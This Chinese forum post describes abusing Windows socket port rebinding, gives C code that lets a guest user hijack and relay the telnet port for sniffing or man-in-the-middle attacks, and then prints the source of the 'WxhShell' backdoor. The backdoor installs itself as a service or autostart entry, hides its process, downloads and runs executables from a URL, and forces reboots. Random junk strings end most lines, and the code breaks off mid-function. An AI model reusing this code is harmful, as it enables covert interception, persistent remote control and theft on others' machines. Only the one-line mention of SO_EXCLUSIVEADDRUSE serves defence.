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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xEe3,tb'e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sRGIHT#  
B]cV|S|  
  saddr.sin_family = AF_INET; ]-u>HO g\  
]i'gU(+;`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I%ZSh]On  
M0RVEhX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B+=Xb;p8  
\YF'qWB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fu`|@S  
brt` oR  
  这意味着什么?意味着可以进行如下的攻击: ebB8.(k9G3  
0J9Ub   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YoRD9M~iG~  
G/}nwj\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K6oQx)|  
A)o%\j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f<2<8xS  
o}lA\A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ns`:=  
yvKKE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1|#j/  
KHt#mQy)9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zzyD'n7D  
!X/O1PM|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m9 f[nT  
.?-]+ -J?`  
  #include }kb6;4>c  
  #include A ]~%<=b  
  #include %;tBWyq}_  
  #include    u=!n9W~"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Vb8{OD3PK  
  int main() CZ/:(sOJ  
  { fhQ}Z%$  
  WORD wVersionRequested; ?N!.:~~k  
  DWORD ret; ;!/g`*?  
  WSADATA wsaData; EN2/3~syO-  
  BOOL val; UNKXfe(X9  
  SOCKADDR_IN saddr; CKRnkTTiV  
  SOCKADDR_IN scaddr; F%e5j9X`  
  int err; uze5u\  
  SOCKET s; Je;HAhL  
  SOCKET sc; g 2&P  
  int caddsize; CjlA"_!%E  
  HANDLE mt; ao)8ie  
  DWORD tid;   E@^mlUf  
  wVersionRequested = MAKEWORD( 2, 2 ); l( 0:CM  
  err = WSAStartup( wVersionRequested, &wsaData ); G[[<-[C]5  
  if ( err != 0 ) { -#"7F:N1  
  printf("error!WSAStartup failed!\n"); {,CvWL  
  return -1; Sc3B*.  
  } W2j@Q=YDS  
  saddr.sin_family = AF_INET; _8nT$!\\  
   &Kc'g H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /s~&$(d59o  
#_[W*-|L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LDv>hzo  
  saddr.sin_port = htons(23); S.A|(?x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]h_V5rdX@  
  { ]u@`XVEJ  
  printf("error!socket failed!\n"); pj9s=}1 '  
  return -1; [i)G:8U  
  } 9jTm g%  
  val = TRUE; 5!^DKyw:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RI64QD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1q;r4$n  
  { l>:\% ol  
  printf("error!setsockopt failed!\n"); wZ =*ejo  
  return -1; K+J fU J  
  } ~ 'L`RJR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E'4 dI:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :\8&Th}Se  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B(|dT66K  
h O}nc$S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nvnJVkL9s  
  { ?e+$?8l[3  
  ret=GetLastError(); n"c3C)  
  printf("error!bind failed!\n"); &26H   
  return -1; I &I q  
  } fE/|U|5L[  
  listen(s,2); JPfE`NZ  
  while(1) TZ+2S93c  
  { `h|>;u   
  caddsize = sizeof(scaddr); 1$G'Kg/  
  //接受连接请求 X-=J7G`\h#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1(12`3  
  if(sc!=INVALID_SOCKET) ;Q} H'Wg,  
  { 4 Gm(P~N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N: Zf4  
  if(mt==NULL) gR:21*&cz  
  { |Zrkk>GW:  
  printf("Thread Creat Failed!\n"); R~&i8n.  
  break; -6u#:pVpU  
  } qo" _w%{  
  } z("Fy  
  CloseHandle(mt); 0al8%z9e@  
  } GcYT<pwN6  
  closesocket(s); :Y;\1J<b1  
  WSACleanup(); LQrm/)4bF5  
  return 0; Ghpk0ia%d  
  }   eEG]JH  
  DWORD WINAPI ClientThread(LPVOID lpParam) gELb(Y\ak  
  { <"XDIvpc%L  
  SOCKET ss = (SOCKET)lpParam; |]9Z#lv+I  
  SOCKET sc; znl_~:.4]X  
  unsigned char buf[4096]; Tx'ctd#Y  
  SOCKADDR_IN saddr; N$SJK  
  long num; +B0G[k7  
  DWORD val; v/B:n   
  DWORD ret; rv?d3QqIC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~NtAr1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qxe%RYdA'j  
  saddr.sin_family = AF_INET; qW6}^aa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SMdkD]{g  
  saddr.sin_port = htons(23); hMiuv_EO!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b_JW3l  
  { U\Hd?&`9gz  
  printf("error!socket failed!\n"); SZ m)`r\A  
  return -1; W=k%aB?p  
  } Ly$s0.!  
  val = 100; z.7'yJIP#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )bG d++2  
  { )4P5i b  
  ret = GetLastError(); Qe )#'$T  
  return -1; JrdH6Zg  
  } ].eY]o}=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )tV^)n[w  
  { Z|kMoB  
  ret = GetLastError(); >O{/%(9  
  return -1; uF=xo`=|  
  } yNb :zoT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sC .R.  
  { {PCf'n  
  printf("error!socket connect failed!\n"); E|A,NPf%I  
  closesocket(sc); T?Dq2UW  
  closesocket(ss); CF`fn6  
  return -1; tyLR_@i%%  
  } MXxE)"G*a  
  while(1) r2*'5jk_  
  { Pyx$$cj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 42m}c1R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /j1p^=ARV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O<x53MN^  
  num = recv(ss,buf,4096,0); +RO=a_AS  
  if(num>0) [,|Z<  
  send(sc,buf,num,0); [n_H9$   
  else if(num==0) Dg LSDKO!  
  break; > HL8hN'q'  
  num = recv(sc,buf,4096,0); =/Dp*  
  if(num>0) !I? J^0T  
  send(ss,buf,num,0); FDAREE\j  
  else if(num==0) Qp?n0WXZ  
  break; ^gdg0y!5~  
  } LEJ7.82  
  closesocket(ss); E5%ae (M^  
  closesocket(sc); d.7Xvx0Yww  
  return 0 ; p ?HODwZ  
  } ibOXh U  
D^Z~>D6  
A_t<SG5  
========================================================== O;A/(lPW+  
]rh)AE!Y(  
下边附上一个代码,,WXhSHELL ^w<:UE2a!  
YJ5;a\QxN  
========================================================== a`w)awb  
Kup-O u,  
#include "stdafx.h" >Q~"/-bN)  
L?^C\g6u]  
#include <stdio.h> 8<g_JW[%  
#include <string.h> C%P"Ds=w0N  
#include <windows.h> hfvs' .  
#include <winsock2.h> e;=G|E  
#include <winsvc.h> b* 6c.  
#include <urlmon.h> NRKAEf_#w  
uREc9z `Q'  
#pragma comment (lib, "Ws2_32.lib") ~P5!VNJ;r  
#pragma comment (lib, "urlmon.lib") Ej1 [ry  
VmTk4?V4  
#define MAX_USER   100 // 最大客户端连接数 |jV4]7Luq  
#define BUF_SOCK   200 // sock buffer dBG]J18  
#define KEY_BUFF   255 // 输入 buffer 'Ph4(Yg  
K@{jY\AZNx  
#define REBOOT     0   // 重启 !UUh7'W4u  
#define SHUTDOWN   1   // 关机 @T1 >%oi  
p;n)YY$  
#define DEF_PORT   5000 // 监听端口 U6=m4]~Z  
)_EobE\  
#define REG_LEN     16   // 注册表键长度 Ze$:-7Czl  
#define SVC_LEN     80   // NT服务名长度 7l Aa6"Y68  
P|.KMtG  
// 从dll定义API 2597#O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >t8eVMMa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/Pg,si  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +V |]:{3W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /$rS0@p  
nWZrB s _  
// wxhshell配置信息 YKh%`Y1<  
struct WSCFG { O)5-6lm  
  int ws_port;         // 监听端口 !00%z  
  char ws_passstr[REG_LEN]; // 口令 ,XP9NHE  
  int ws_autoins;       // 安装标记, 1=yes 0=no i=2+1 ;K  
  char ws_regname[REG_LEN]; // 注册表键名 #U/B,`= >  
  char ws_svcname[REG_LEN]; // 服务名 [uRsB5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g{$&j*Q9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (oJ#`k:&n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2 ;B[n;Q{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rMlbj2T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XB;;OP12  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 73xI8  
l}AB):<Z  
}; ^:-%tpB#!  
Gz*U?R-T  
// default Wxhshell configuration dm$:xE":  
struct WSCFG wscfg={DEF_PORT, kd \G>  
    "xuhuanlingzhe", .yWdlq##  
    1, Fr%KO)s2  
    "Wxhshell", udc9$uO  
    "Wxhshell", `%ymg8^  
            "WxhShell Service", 0/KNXz  
    "Wrsky Windows CmdShell Service", &U 'Ds!  
    "Please Input Your Password: ", N&>D/Z;"  
  1, YgWnPp  
  "http://www.wrsky.com/wxhshell.exe", "Pys3=h  
  "Wxhshell.exe" "Ln\ZYB]  
    }; C1G Wi4)  
SwP h-6  
// 消息定义模块 b'-gy0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 ?vIkf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j#p3c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G#% =R`k/  
char *msg_ws_ext="\n\rExit."; nj9hRiL n  
char *msg_ws_end="\n\rQuit."; Nq~bO_-I  
char *msg_ws_boot="\n\rReboot..."; kD; BwU[  
char *msg_ws_poff="\n\rShutdown..."; ]c5GG!E-g  
char *msg_ws_down="\n\rSave to "; orU4{.e  
1g/mzC   
char *msg_ws_err="\n\rErr!"; Bv=Z*"Fv  
char *msg_ws_ok="\n\rOK!"; rfPJBD{Ve  
*pWswcV/  
char ExeFile[MAX_PATH]; !E7/:t4  
int nUser = 0; Ta[}k/zW  
HANDLE handles[MAX_USER]; @/7Rp8Fr  
int OsIsNt; g*]<]%Py"  
N]=.I   
SERVICE_STATUS       serviceStatus; uPp(l4(+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ohh 1DsB  
:e9E#o  
// 函数声明 [w4z)!  
int Install(void); pI^n("|  
int Uninstall(void); WD)[Ac[  
int DownloadFile(char *sURL, SOCKET wsh); Ql V:8:H$  
int Boot(int flag); ]CL70+[^9  
void HideProc(void); %Bo Jt-v  
int GetOsVer(void); o4Ba l^=[  
int Wxhshell(SOCKET wsl); W@0(Y9jdg  
void TalkWithClient(void *cs); '",5Bu#C  
int CmdShell(SOCKET sock); 0CN .gu  
int StartFromService(void); W4|;JmT.r  
int StartWxhshell(LPSTR lpCmdLine); QWP_8$Q  
&`%C'KZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7v:;`6Jb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z2@&4_P  
{"y 6l  
// 数据结构和表定义 A P\E  
SERVICE_TABLE_ENTRY DispatchTable[] = @)0g Xg  
{ IWQ8e$N  
{wscfg.ws_svcname, NTServiceMain}, DuFlN1Z  
{NULL, NULL} JL$RBr  
}; O ,;SA  
M>^IQ  
// 自我安装 ;}PL/L$L6;  
int Install(void) bBQp:P?E  
{ A6Qi^TI  
  char svExeFile[MAX_PATH]; 4@Qq5kpk*  
  HKEY key; $H 9xM  
  strcpy(svExeFile,ExeFile); C/$IF M<  
L@ay4,e.bz  
// 如果是win9x系统,修改注册表设为自启动 >pYgF =J  
if(!OsIsNt) { F`N*{at  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s6 ^JgdW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &, )tD62s  
  RegCloseKey(key); :H87x?e[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :=8vy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RU'J!-w{  
  RegCloseKey(key); HvngjP{>  
  return 0; I[|I\tW  
    } ["7}u^z@<+  
  } <*\J 6:^n  
} _\<M58/z  
else { +l#2u#e  
!`WuLhB`  
// 如果是NT以上系统,安装为系统服务 $ S49v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xgm7>=l  
if (schSCManager!=0) 7 D^A:f  
{ BKTsc/v2>:  
  SC_HANDLE schService = CreateService  e?7paJ  
  ( prWid3}  
  schSCManager, 'SY &-<t(  
  wscfg.ws_svcname, 3_>R's8P  
  wscfg.ws_svcdisp, Il642#Gh  
  SERVICE_ALL_ACCESS, (1o^Dn3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <vrx8Q*6  
  SERVICE_AUTO_START, ~DD/\V  
  SERVICE_ERROR_NORMAL, nZ*P:K t:  
  svExeFile, nGt8u4gcP  
  NULL, w*}9;l  
  NULL, l1??b  
  NULL, : )z_q!$j  
  NULL, :s5g6TR  
  NULL O<hHo]jLF  
  ); s6$3[9Vh&9  
  if (schService!=0) Y:a(y*y<  
  { y{N9.H2  
  CloseServiceHandle(schService); p%s D>1k  
  CloseServiceHandle(schSCManager); JjmL6(*ui  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 76m[o  
  strcat(svExeFile,wscfg.ws_svcname); S;NXOsSu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ![ QQF|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =bDG|:+  
  RegCloseKey(key); "OPUGwf  
  return 0; =~h54/#[I  
    } ,jn?s^X6Dj  
  } L`#+ZLo  
  CloseServiceHandle(schSCManager); kpdFb7>|  
} V~=)#3]`[  
} y AWDk0bx  
ST3qg6Cq2J  
return 1;  >4\xcL  
} B'Wky>5)  
w.8~A,5}Dh  
// 自我卸载 'GFzI:Xr  
int Uninstall(void) ]VvJ1Xn0  
{ 1@WGbORc*  
  HKEY key; 82X.  
Y8PT`7gd`  
if(!OsIsNt) { "|.(yN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bag#An1  
  RegDeleteValue(key,wscfg.ws_regname); C gx?K]>y  
  RegCloseKey(key); -  -G1H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k mj m6  
  RegDeleteValue(key,wscfg.ws_regname); _a&|,ajy >  
  RegCloseKey(key); P5>CSWy%  
  return 0; TI>yi ^}  
  } tX251S  
} @>Keu\)  
} x}{VHp`|ld  
else { h,x]  
fDd!Mt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <IVz mzpL  
if (schSCManager!=0) yShHFlO=  
{ 0REWbcxd"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K>[H@|k\k  
  if (schService!=0) 5)UmA8"zVB  
  { CC\z_C*P-p  
  if(DeleteService(schService)!=0) { K\b O[J  
  CloseServiceHandle(schService); +HX'AC  
  CloseServiceHandle(schSCManager); +]-KzDsr"V  
  return 0; lIz_0rE  
  } ))`Zv=y"  
  CloseServiceHandle(schService); 9^u?v`!  
  } qN@a<row&~  
  CloseServiceHandle(schSCManager); o!~bR  
} to3J@:V8e  
} d<'xpdxc  
A-5 +#  
return 1; +&OqJAu  
} Q(UGwd1  
S F>D:$a  
// 从指定url下载文件 .jp]S4~  
int DownloadFile(char *sURL, SOCKET wsh) \#aVu^`eX  
{ ?^~"x.<nr  
  HRESULT hr; E0Q"qEvU  
char seps[]= "/"; R(sM(x5a`  
char *token; 0?SLRz8  
char *file; Jdn*?hc+  
char myURL[MAX_PATH]; 1c#'5~nB  
char myFILE[MAX_PATH]; G+uiZ (p>  
(fa?f tK  
strcpy(myURL,sURL); s3{s.55{m  
  token=strtok(myURL,seps); &._!)al  
  while(token!=NULL) M N#C2 qz  
  { Db(_T8sU  
    file=token; %v[ Kk-d  
  token=strtok(NULL,seps); 1v&Fo2ML  
  } ?Z>.G{Wm@  
"!tw ,Gp  
GetCurrentDirectory(MAX_PATH,myFILE); 6[.Mx}h6  
strcat(myFILE, "\\"); X:lPWz!7{  
strcat(myFILE, file); L]d@D0.Z  
  send(wsh,myFILE,strlen(myFILE),0); N;'HR)  
send(wsh,"...",3,0); s.`d<(X?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,SF.@^o@a  
  if(hr==S_OK) Eap/7U1Q  
return 0; y.p6%E_`  
else fm%RNAPvc  
return 1; 7 Zt\G-QV  
abeSkWUL(  
} DYlvxF`  
T-C#xmY(  
// 系统电源模块 toqzS!&.v  
int Boot(int flag) .dT;T%3fO  
{ xGfD z*t  
  HANDLE hToken; 87KrSZ  
  TOKEN_PRIVILEGES tkp; ( 'n8=J  
E[.tQ|C  
  if(OsIsNt) { br  Z, s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /;AZ/Ocy!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V<4+g/  
    tkp.PrivilegeCount = 1; i ,pN1_-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V wVQ|UH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PgLS\_B  
if(flag==REBOOT) { "F$o!Vk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [fi'=Cb  
  return 0; `uh@iD'KI  
} |<-F|v9og  
else { `QdQ?9x{F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *xg`Kwl5Kl  
  return 0; 9xn23*Fo  
} ceZ8} Sh  
  } K3:|Tc(  
  else { u\R`IZ&O  
if(flag==REBOOT) { lhoq3A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d-;9L56{P  
  return 0; .l+~)$  
} d:hL )x  
else { sD8 m<   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NOr <,  
  return 0; ]A72) 1  
} ^qO=~U!{  
} !UoU#YU  
& 8' (  
return 1; BwJ^_:(p~  
} b/B`&CIA0"  
Y^2Qxo3"3  
// win9x进程隐藏模块 u:$x6/t  
void HideProc(void) j- YJ."  
{ a4( ?]ND~6  
6lmiMU&V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q^1aPz  
  if ( hKernel != NULL ) $tCcjBK\  
  { {^2W>^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s`=/fvf.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~r^5-\[hZ  
    FreeLibrary(hKernel); MJ*]fC3/  
  } ?96-" l  
.S!>9X,  
return; 5m^Hi} S _  
} 4b2mtLn_  
n2d8;B#  
// 获取操作系统版本 N3gNOq&  
int GetOsVer(void) 0UGiPH,()  
{ d"I28PIS"  
  OSVERSIONINFO winfo; 'DzBp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8.CKH4h  
  GetVersionEx(&winfo); +K;Y+ K&;2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X#DL/#z k  
  return 1; ')5L_$  
  else J4G> E.8  
  return 0; +z|UpI  
} jefNiEE[  
- LiPHHX<  
// 客户端句柄模块 LMFK3Gd[  
int Wxhshell(SOCKET wsl) >H}jR[H'  
{ .vN%UNu  
  SOCKET wsh; 2K]IlsMO&  
  struct sockaddr_in client; Y:%m;b$]  
  DWORD myID; drENkS=,  
lC=N:=Mu  
  while(nUser<MAX_USER) cXS;z.M\_  
{ eb!s'@  
  int nSize=sizeof(client); DhLr^Z!h3;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uZ\wwYY#M  
  if(wsh==INVALID_SOCKET) return 1; ^E$(1><-a  
3+(yI 4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]eYd8s+  
if(handles[nUser]==0) L/q]QgCoA  
  closesocket(wsh); ]bTzbu@  
else j9URl$T:  
  nUser++; +_ *eu  
  } x*me'?q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dU oWo3r=  
E+}GxFG-:  
  return 0; ;GE26Ymqly  
} Cs:+93w  
^n&]HzT`y  
// 关闭 socket .!yWF?T8  
void CloseIt(SOCKET wsh) 1mHwYT+  
{  ofMu3$Q  
closesocket(wsh); ZD5I5  
nUser--; x0\e<x9s  
ExitThread(0); -uA3Y  
} Z}8k[*.  
]By0Xifew  
// 客户端请求句柄 |*^8~u3J"  
void TalkWithClient(void *cs) 1l/AKI(!  
{ 4>4V-m\  
;w`sz.  
  SOCKET wsh=(SOCKET)cs; *A?8F"6>  
  char pwd[SVC_LEN]; m$fQ`XzU  
  char cmd[KEY_BUFF]; h@*lWi2K7  
char chr[1]; qDnCn H  
int i,j; nnt8 sf@\  
i`[#W(m  
  while (nUser < MAX_USER) { SU%mmw ES3  
{y,nFxLq  
if(wscfg.ws_passstr) { k"">2#V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }#yU'#|d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C=N! z  
  //ZeroMemory(pwd,KEY_BUFF); ^Xs%.`Gv/  
      i=0; )|y#OZHR  
  while(i<SVC_LEN) { X=v~^8M7%  
5>k>L*5J  
  // 设置超时 wgY6D!Y   
  fd_set FdRead; 9p <:=T  
  struct timeval TimeOut; [34zh="o  
  FD_ZERO(&FdRead); 1ZT^)/G  
  FD_SET(wsh,&FdRead); Wrmgu}q  
  TimeOut.tv_sec=8; A LXUaE.  
  TimeOut.tv_usec=0; Q  |  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8y$5oD6g9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m</]D WJ  
}>2t&+v+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gaQ[3g  
  pwd=chr[0]; w{PUj  
  if(chr[0]==0xd || chr[0]==0xa) { L-#e?Y}$J  
  pwd=0; (O$}(Tn  
  break; j!YNg*H  
  } O!;H}{[dg  
  i++; r0>q%eM8  
    } N83!C=X'  
l+%Fl=Q2em  
  // 如果是非法用户,关闭 socket 4~!Eje!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LU%#mY  
} c$9sF@K?  
R7lYu\mA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WFouoXlG0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Te# ]Cn|  
PPEq6}  
while(1) { $=/rGpAk  
Qh*)pt]n  
  ZeroMemory(cmd,KEY_BUFF); lbRzx4=\y  
{$;2 HbM(  
      // 自动支持客户端 telnet标准   @B?FE\  
  j=0; j(j#0dXLh  
  while(j<KEY_BUFF) { .}o~VT:!?Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Nj+a2[  
  cmd[j]=chr[0]; w&%9IJ  
  if(chr[0]==0xa || chr[0]==0xd) { sa*g  
  cmd[j]=0; /iplU  
  break; +jUgx;u,  
  } ]DO&x+Rb  
  j++; e,(a6X  
    } t<Ot|Ex  
xk& NAB  
  // 下载文件 )i;un.  
  if(strstr(cmd,"http://")) { _6ZzuVv3/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +p9- .YM  
  if(DownloadFile(cmd,wsh)) I_ONbJ9]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d PsLZ"I  
  else x>v-m*4Z4@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S_6g~PHsr  
  } oB p3JX9_f  
  else { ["u#{>(X  
58::h. :  
    switch(cmd[0]) { ~(P&g7u  
  09'oz*v{#  
  // 帮助 30s; }  
  case '?': { D93gH1z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =J](.78  
    break; gljo;f:  
  } 3f"C!l]Xu  
  // 安装 + ~ "5!  
  case 'i': { \/ErPi=g  
    if(Install()) eIH$"f;L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#U^< `  
    else /'ZKST4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ow/U   
    break; \8{\;L C  
    } 1c$vLo832  
  // 卸载 =>qTNh*'  
  case 'r': { A{N\)  
    if(Uninstall()) eNbpwne  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2VA!&`I  
    else [KSH~:h:NR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )qv2)a!H  
    break; Tg0CE60"  
    } yrnv!moc%t  
  // 显示 wxhshell 所在路径 `rlk|&T1  
  case 'p': { vy [C'a  
    char svExeFile[MAX_PATH]; ?^}_j vT  
    strcpy(svExeFile,"\n\r"); +>SRrIi  
      strcat(svExeFile,ExeFile); V^TbP.  
        send(wsh,svExeFile,strlen(svExeFile),0); Ird|C[la  
    break; 2s\BY%XY  
    } /,2rjJ#b  
  // 重启 ;'0=T0\  
  case 'b': { D/CIA8h3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X %4Kj[I^  
    if(Boot(REBOOT)) [*Uu#9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H>XFz(LWh  
    else { y!~qbh[  
    closesocket(wsh); Be2lMC  
    ExitThread(0); p $Hi[upy  
    } uH:YKH':/  
    break; Y%@hbUc}x9  
    } eVJ^\z:4  
